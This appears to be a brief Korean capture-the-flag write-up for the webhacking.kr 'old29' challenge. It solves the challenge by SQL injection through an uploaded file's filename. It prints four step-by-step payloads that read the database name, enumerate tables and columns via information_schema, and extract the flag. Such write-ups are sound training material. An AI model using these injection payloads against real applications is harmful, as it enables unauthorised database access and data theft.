webhacking.kr - old29
처음 접속하게되면 위와 같이 파일업로드를 통한 sqli를 진행할 수 있습니다.
sqli 를 통해 database를 검색해보면
filename="filename', 1234, '49.165.203.216', ((SELECT database()), 1234, '49.165.203.216')#
clann29라는 db명을 확인할 수 있고, 이를 이용해서 테이블 이름을 찾을 수 있고,
"files', 123, '49.165.203.216'), ((SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='chall29'), 123, '49.165.203.216')#"
flag_congratz라는 테이블을 이용해서 컬럼을 찾으면
"1234', 123, '49.165.203.216'), ((SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='flag_congratz'), 123, '49.165.203.216')#"
flag라는 컬럼을 찾을 수 있고,
이 컬럼을 읽어주기만 하면
"1234', 123, '49.165.203.216'), ((SELECT flag FROM flag_congratz), 123, '49.165.203.216')#"
flag를 획득할 수 있습니다 :)
group_concat이라는 함수를 오랜만에 봐서 새로운 느낌이였습니다 :)